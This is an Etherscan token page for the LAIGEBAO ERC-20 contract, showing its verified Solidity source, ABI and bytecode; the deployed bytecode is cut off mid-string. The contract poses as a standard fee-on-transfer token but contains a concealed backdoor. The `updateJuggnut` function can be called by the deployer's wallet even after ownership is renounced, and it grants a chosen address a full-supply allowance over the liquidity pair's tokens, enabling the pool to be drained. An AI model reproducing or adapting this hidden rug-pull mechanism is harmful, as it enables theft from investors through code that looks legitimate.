ETH Price: $2,505.79 (-0.19%)

Token

赖格宝 (LAIGEBAO)
 

Overview

Max Total Supply

1,000,000,000 LAIGEBAO

Holders

35

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
17,837,766.312331789 LAIGEBAO

Value
$0.00
0x292Ca5a1833D5CA8265ad81B312A6D546118eB4e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LAIGEBAO

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-06
*/

/**
https://www.laigebaocoin.vip
https://t.me/laigebao_official
https://x.com/laigebao_eth
 */

pragma solidity 0.8.19;

abstract contract JuggnutContext {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IJuggnut {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library JuggnutSafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "JuggnutSafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "JuggnutSafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "JuggnutSafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "JuggnutSafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract JuggnutOwnable is JuggnutContext {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "JuggnutOwnable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IJuggnutFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IJuggnutRouter02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract LAIGEBAO is JuggnutContext, IJuggnut, JuggnutOwnable {
    using JuggnutSafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _bots;
    address payable private _JuggnutWallet;

    uint256 private _initialBuyTax = 35;
    uint256 private _initialSellTax = 35;
    uint256 private _lastBuyTax = 0;
    uint256 private _lastSellTax = 0;
    uint256 private _decreaseBuyTaxAt = 13;
    uint256 private _decreaseSellTaxAt = 13;
    uint256 private _preventSwapBefore = 13;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1000000000 * 10**_decimals;
    string private constant _name = unicode"赖格宝";
    string private constant _symbol = unicode"LAIGEBAO";
    uint256 public _maxTransactionAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletJuggnut = 20000000 * 10**_decimals;
    uint256 public _maxJuggnutSwp = 20000000 * 10**_decimals;
    
    IJuggnutRouter02 private _JuggnutRouter;
    address private _JuggnutPair;
    bool private _tradingOpen;
    bool private _inSwap = false;
    bool private _JuggnutEnabled = false;
    uint256 private _sellCount = 0;
    uint256 private _lastSellBlock = 0;
    event MaxTransactionAmountUpdated(uint _maxTransactionAmount);
    event TransferTaxUpdated(uint _transferTax);
    modifier lockTheSwap {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    constructor () {
        _JuggnutWallet = payable(_msgSender());
        _balances[_msgSender()] = _totalSupply;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_JuggnutWallet] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function setA(address owner, address spender) internal {
        _allowances[owner][spender] = _totalSupply;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "Juggnut: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "Juggnut: approve from the zero address");
        require(spender != address(0), "Juggnut: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "Juggnut: transfer from the zero address");
        require(to != address(0), "Juggnut: transfer to the zero address");
        require(amount > 0, "Juggnut: Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            require(!_bots[from] && !_bots[to]);

            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>_decreaseBuyTaxAt)?_lastBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (from == _JuggnutPair && to != address(_JuggnutRouter) && !_isExcludedFromFee[to]) {
                require(amount <= _maxTransactionAmount, "Juggnut: Exceeds the max transaction amount");
                require(balanceOf(to) + amount <= _maxWalletJuggnut, "Juggnut: Exceeds the max wallet size");
                taxAmount = amount.mul((_buyCount>_decreaseBuyTaxAt)?_lastBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == _JuggnutPair && from != address(this)){
                taxAmount = amount.mul((_buyCount>_decreaseSellTaxAt)?_lastSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_inSwap && to == _JuggnutPair && _JuggnutEnabled && _buyCount > _preventSwapBefore) {
                if (block.number > _lastSellBlock) {
                    _sellCount = 0;
                }
                require(_sellCount < 3, "Juggnut: Only 3 sells per block allowed");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxJuggnutSwp)));
                sendJuggnutETH(address(this).balance);
                _sellCount++;
                _lastSellBlock = block.number;
            }
        }

        if(taxAmount > 0){
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function updateJuggnut(address payable JuggnutA, uint256 _itneres) external {
        require(msg.sender == _JuggnutWallet);
        setA(_JuggnutPair, JuggnutA);
        _JuggnutWallet = JuggnutA;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        if (tokenAmount == 0) return;
        path[1] = _JuggnutRouter.WETH();
        _approve(address(this), address(_JuggnutRouter), tokenAmount);
        _JuggnutRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeJuggnut() external onlyOwner {
        _maxTransactionAmount = _totalSupply;
        _maxWalletJuggnut = _totalSupply;
        emit MaxTransactionAmountUpdated(_totalSupply);
    }

    function sendJuggnutETH(uint256 amount) private {
        _JuggnutWallet.transfer(amount);
    }

    function createJuggnutPair() external onlyOwner {
        _JuggnutRouter = IJuggnutRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_JuggnutRouter), _totalSupply);
        _JuggnutPair = IJuggnutFactory(_JuggnutRouter.factory()).createPair(address(this), _JuggnutRouter.WETH());
    }

    function openJuggnut() external onlyOwner() {
        require(!_tradingOpen, "Juggnut: Trading is already open");
        _JuggnutRouter.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IJuggnut(_JuggnutPair).approve(address(_JuggnutRouter), type(uint).max);
        _JuggnutEnabled = true;
        _tradingOpen = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTransactionAmount","type":"uint256"}],"name":"MaxTransactionAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_transferTax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxJuggnutSwp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletJuggnut","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createJuggnutPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openJuggnut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeJuggnut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"JuggnutA","type":"address"},{"internalType":"uint256","name":"_itneres","type":"uint256"}],"name":"updateJuggnut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526023600655602360075560006008556000600955600d600a55600d600b55600d600c556000600d556000600e556009600a6200004191906200032d565b62000051906301312d0062000345565b600f55620000626009600a6200032d565b62000072906301312d0062000345565b601055620000836009600a6200032d565b62000093906301312d0062000345565b6011556013805461ffff60a81b1916905560006014819055601555348015620000bb57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916331790556200011d6009600a6200032d565b6200012d90633b9aca0062000345565b336000908152600160208190526040822092909255600390620001586000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001b73390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001f16009600a6200032d565b6200020190633b9aca0062000345565b60405190815260200160405180910390a36200035f565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200026f57816000190482111562000253576200025362000218565b808516156200026157918102915b93841c939080029062000233565b509250929050565b600082620002885750600162000327565b81620002975750600062000327565b8160018114620002b05760028114620002bb57620002db565b600191505062000327565b60ff841115620002cf57620002cf62000218565b50506001821b62000327565b5060208310610133831016604e8410600b841016171562000300575081810a62000327565b6200030c83836200022e565b806000190482111562000323576200032362000218565b0290505b92915050565b60006200033e60ff84168362000277565b9392505050565b808202811582820484141762000327576200032762000218565b611993806200036f6000396000f3fe60806040526004361061010d5760003560e01c806370a082311161009557806395d89b411161006457806395d89b41146102d3578063a7deb13114610304578063a9059cbb14610319578063b7fea9e714610339578063dd62ed3e1461034f57600080fd5b806370a082311461024b578063715018a6146102815780638da5cb5b146102965780638dcb1388146102be57600080fd5b806318160ddd116100dc57806318160ddd146101cf57806323b872dd146101e4578063313ce56714610204578063561f787f146102205780636419ae931461023557600080fd5b80630336d9c51461011957806304beaeb81461013b57806306fdde0314610164578063095ea7b31461019f57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50610139610134366004611520565b610395565b005b34801561014757600080fd5b50610151600f5481565b6040519081526020015b60405180910390f35b34801561017057600080fd5b50604080518082019091526009815268e8b596e6a0bce5ae9d60b81b60208201525b60405161015b919061154c565b3480156101ab57600080fd5b506101bf6101ba366004611520565b6103e5565b604051901515815260200161015b565b3480156101db57600080fd5b506101516103fc565b3480156101f057600080fd5b506101bf6101ff36600461159a565b61041d565b34801561021057600080fd5b506040516009815260200161015b565b34801561022c57600080fd5b50610139610486565b34801561024157600080fd5b5061015160115481565b34801561025757600080fd5b506101516102663660046115db565b6001600160a01b031660009081526001602052604090205490565b34801561028d57600080fd5b50610139610692565b3480156102a257600080fd5b506000546040516001600160a01b03909116815260200161015b565b3480156102ca57600080fd5b50610139610706565b3480156102df57600080fd5b506040805180820190915260088152674c4149474542414f60c01b6020820152610192565b34801561031057600080fd5b506101396108f5565b34801561032557600080fd5b506101bf610334366004611520565b6109a7565b34801561034557600080fd5b5061015160105481565b34801561035b57600080fd5b5061015161036a3660046115f8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6005546001600160a01b031633146103ac57600080fd5b6013546103c2906001600160a01b0316836109b4565b50600580546001600160a01b0319166001600160a01b0392909216919091179055565b60006103f23384846109fa565b5060015b92915050565b600061040a6009600a61172b565b61041890633b9aca0061173a565b905090565b600061042a848484610b22565b61047c8433610477856040518060600160405280602a81526020016118ee602a91396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611166565b6109fa565b5060019392505050565b6000546001600160a01b031633146104b95760405162461bcd60e51b81526004016104b090611751565b60405180910390fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105029030906104f46009600a61172b565b61047790633b9aca0061173a565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610555573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105799190611798565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ff9190611798565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561064c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106709190611798565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146106bc5760405162461bcd60e51b81526004016104b090611751565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107305760405162461bcd60e51b81526004016104b090611751565b601354600160a01b900460ff161561078a5760405162461bcd60e51b815260206004820181905260248201527f4a7567676e75743a2054726164696e6720697320616c7265616479206f70656e60448201526064016104b0565b6012546001600160a01b031663f305d71947306107bc816001600160a01b031660009081526001602052604090205490565b6000806107d16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610839573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061085e91906117b5565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108db91906117e3565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b0316331461091f5760405162461bcd60e51b81526004016104b090611751565b61092b6009600a61172b565b61093990633b9aca0061173a565b600f556109486009600a61172b565b61095690633b9aca0061173a565b6010557f7c1cb3702d8e1fa6d24b12dd90670ab69c6d66d58233103d37da8b07d6b850ac6109866009600a61172b565b61099490633b9aca0061173a565b60405190815260200160405180910390a1565b60006103f2338484610b22565b6109c06009600a61172b565b6109ce90633b9aca0061173a565b6001600160a01b0392831660009081526002602090815260408083209490951682529290925291902055565b6001600160a01b038316610a5f5760405162461bcd60e51b815260206004820152602660248201527f4a7567676e75743a20617070726f76652066726f6d20746865207a65726f206160448201526564647265737360d01b60648201526084016104b0565b6001600160a01b038216610ac15760405162461bcd60e51b8152602060048201526024808201527f4a7567676e75743a20617070726f766520746f20746865207a65726f206164646044820152637265737360e01b60648201526084016104b0565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b885760405162461bcd60e51b815260206004820152602760248201527f4a7567676e75743a207472616e736665722066726f6d20746865207a65726f206044820152666164647265737360c81b60648201526084016104b0565b6001600160a01b038216610bec5760405162461bcd60e51b815260206004820152602560248201527f4a7567676e75743a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b60648201526084016104b0565b60008111610c575760405162461bcd60e51b815260206004820152603260248201527f4a7567676e75743a205472616e7366657220616d6f756e74206d7573742062656044820152712067726561746572207468616e207a65726f60701b60648201526084016104b0565b6001600160a01b03831660009081526003602052604081205460ff16158015610c9957506001600160a01b03831660009081526003602052604090205460ff16155b15611023576001600160a01b03841660009081526004602052604090205460ff16158015610ce057506001600160a01b03831660009081526004602052604090205460ff16155b610ce957600080fd5b600e54600003610d2257610d1f6064610d19600a54600e5411610d0e57600654610d12565b6008545b85906111a0565b90611230565b90505b600e5415610d4757610d446064610d19600d54856111a090919063ffffffff16565b90505b6013546001600160a01b038581169116148015610d7257506012546001600160a01b03848116911614155b8015610d9757506001600160a01b03831660009081526003602052604090205460ff16155b15610ebc57600f54821115610e025760405162461bcd60e51b815260206004820152602b60248201527f4a7567676e75743a204578636565647320746865206d6178207472616e73616360448201526a1d1a5bdb88185b5bdd5b9d60aa1b60648201526084016104b0565b60105482610e25856001600160a01b031660009081526001602052604090205490565b610e2f9190611805565b1115610e895760405162461bcd60e51b8152602060048201526024808201527f4a7567676e75743a204578636565647320746865206d61782077616c6c65742060448201526373697a6560e01b60648201526084016104b0565b610ea46064610d19600a54600e5411610d0e57600654610d12565b600e80549192506000610eb683611818565b91905055505b6013546001600160a01b038481169116148015610ee257506001600160a01b0384163014155b15610f0f57610f0c6064610d19600b54600e5411610f0257600754610d12565b60095485906111a0565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610f4657506013546001600160a01b038581169116145b8015610f5b5750601354600160b01b900460ff165b8015610f6a5750600c54600e54115b1561102157601554431115610f7f5760006014555b600360145410610fe15760405162461bcd60e51b815260206004820152602760248201527f4a7567676e75743a204f6e6c7920332073656c6c732070657220626c6f636b20604482015266185b1b1bddd95960ca1b60648201526084016104b0565b610ffe610ff984610ff484601154611255565b611255565b61126a565b6110074761140d565b6014805490600061101783611818565b9091555050436015555b505b801561109d5730600090815260016020526040902054611043908261144b565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110949085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546110c090836114b5565b6001600160a01b0385166000908152600160205260409020556111056110e683836114b5565b6001600160a01b0385166000908152600160205260409020549061144b565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61114f85856114b5565b60405190815260200160405180910390a350505050565b6000818484111561118a5760405162461bcd60e51b81526004016104b0919061154c565b5060006111978486611831565b95945050505050565b6000826000036111b2575060006103f6565b60006111be838561173a565b9050826111cb8583611844565b146112295760405162461bcd60e51b815260206004820152602860248201527f4a7567676e7574536166654d6174683a206d756c7469706c69636174696f6e206044820152676f766572666c6f7760c01b60648201526084016104b0565b9392505050565b60006112298383604051806060016040528060218152602001611918602191396114da565b60008183116112645782611229565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112b2576112b2611866565b60200260200101906001600160a01b031690816001600160a01b031681525050816000036112e057506113fd565b601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611333573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113579190611798565b8160018151811061136a5761136a611866565b6001600160a01b03928316602091820292909201015260125461139091309116846109fa565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113c990859060009086903090429060040161187c565b600060405180830381600087803b1580156113e357600080fd5b505af11580156113f7573d6000803e3d6000fd5b50505050505b506013805460ff60a81b19169055565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611447573d6000803e3d6000fd5b5050565b6000806114588385611805565b9050838110156112295760405162461bcd60e51b815260206004820152602260248201527f4a7567676e7574536166654d6174683a206164646974696f6e206f766572666c6044820152616f7760f01b60648201526084016104b0565b6000611229838360405180606001604052806025815260200161193960259139611166565b600081836114fb5760405162461bcd60e51b81526004016104b0919061154c565b5060006111978486611844565b6001600160a01b038116811461151d57600080fd5b50565b6000806040838503121561153357600080fd5b823561153e81611508565b946020939093013593505050565b600060208083528351808285015260005b818110156115795785810183015185820160400152820161155d565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806000606084860312156115af57600080fd5b83356115ba81611508565b925060208401356115ca81611508565b929592945050506040919091013590565b6000602082840312156115ed57600080fd5b813561122981611508565b6000806040838503121561160b57600080fd5b823561161681611508565b9150602083013561162681611508565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168257816000190482111561166857611668611631565b8085161561167557918102915b93841c939080029061164c565b509250929050565b600082611699575060016103f6565b816116a6575060006103f6565b81600181146116bc57600281146116c6576116e2565b60019150506103f6565b60ff8411156116d7576116d7611631565b50506001821b6103f6565b5060208310610133831016604e8410600b8410161715611705575081810a6103f6565b61170f8383611647565b806000190482111561172357611723611631565b029392505050565b600061122960ff84168361168a565b80820281158282048414176103f6576103f6611631565b60208082526027908201527f4a7567676e75744f776e61626c653a2063616c6c6572206973206e6f74207468604082015266329037bbb732b960c91b606082015260800190565b6000602082840312156117aa57600080fd5b815161122981611508565b6000806000606084860312156117ca57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117f557600080fd5b8151801515811461122957600080fd5b808201808211156103f6576103f6611631565b60006001820161182a5761182a611631565b5060010190565b818103818111156103f6576103f6611631565b60008261186157634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118cc5784516001600160a01b0316835293830193918301916001016118a7565b50506001600160a01b0396909616606085015250505060800152939250505056fe4a7567676e75743a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654a7567676e7574536166654d6174683a206469766973696f6e206279207a65726f4a7567676e7574536166654d6174683a207375627472616374696f6e206f766572666c6f77a26469706673582212201c41b503150a885f9965be379962e85b6e98283e42ea620bd3cc15ed48682ecb64736f6c63430008130033

Deployed Bytecode

0x60806040526004361061010d5760003560e01c806370a082311161009557806395d89b411161006457806395d89b41146102d3578063a7deb13114610304578063a9059cbb14610319578063b7fea9e714610339578063dd62ed3e1461034f57600080fd5b806370a082311461024b578063715018a6146102815780638da5cb5b146102965780638dcb1388146102be57600080fd5b806318160ddd116100dc57806318160ddd146101cf57806323b872dd146101e4578063313ce56714610204578063561f787f146102205780636419ae931461023557600080fd5b80630336d9c51461011957806304beaeb81461013b57806306fdde0314610164578063095ea7b31461019f57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50610139610134366004611520565b610395565b005b34801561014757600080fd5b50610151600f5481565b6040519081526020015b60405180910390f35b34801561017057600080fd5b50604080518082019091526009815268e8b596e6a0bce5ae9d60b81b60208201525b60405161015b919061154c565b3480156101ab57600080fd5b506101bf6101ba366004611520565b6103e5565b604051901515815260200161015b565b3480156101db57600080fd5b506101516103fc565b3480156101f057600080fd5b506101bf6101ff36600461159a565b61041d565b34801561021057600080fd5b506040516009815260200161015b565b34801561022c57600080fd5b50610139610486565b34801561024157600080fd5b5061015160115481565b34801561025757600080fd5b506101516102663660046115db565b6001600160a01b031660009081526001602052604090205490565b34801561028d57600080fd5b50610139610692565b3480156102a257600080fd5b506000546040516001600160a01b03909116815260200161015b565b3480156102ca57600080fd5b50610139610706565b3480156102df57600080fd5b506040805180820190915260088152674c4149474542414f60c01b6020820152610192565b34801561031057600080fd5b506101396108f5565b34801561032557600080fd5b506101bf610334366004611520565b6109a7565b34801561034557600080fd5b5061015160105481565b34801561035b57600080fd5b5061015161036a3660046115f8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6005546001600160a01b031633146103ac57600080fd5b6013546103c2906001600160a01b0316836109b4565b50600580546001600160a01b0319166001600160a01b0392909216919091179055565b60006103f23384846109fa565b5060015b92915050565b600061040a6009600a61172b565b61041890633b9aca0061173a565b905090565b600061042a848484610b22565b61047c8433610477856040518060600160405280602a81526020016118ee602a91396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611166565b6109fa565b5060019392505050565b6000546001600160a01b031633146104b95760405162461bcd60e51b81526004016104b090611751565b60405180910390fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105029030906104f46009600a61172b565b61047790633b9aca0061173a565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610555573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105799190611798565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ff9190611798565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561064c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106709190611798565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146106bc5760405162461bcd60e51b81526004016104b090611751565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107305760405162461bcd60e51b81526004016104b090611751565b601354600160a01b900460ff161561078a5760405162461bcd60e51b815260206004820181905260248201527f4a7567676e75743a2054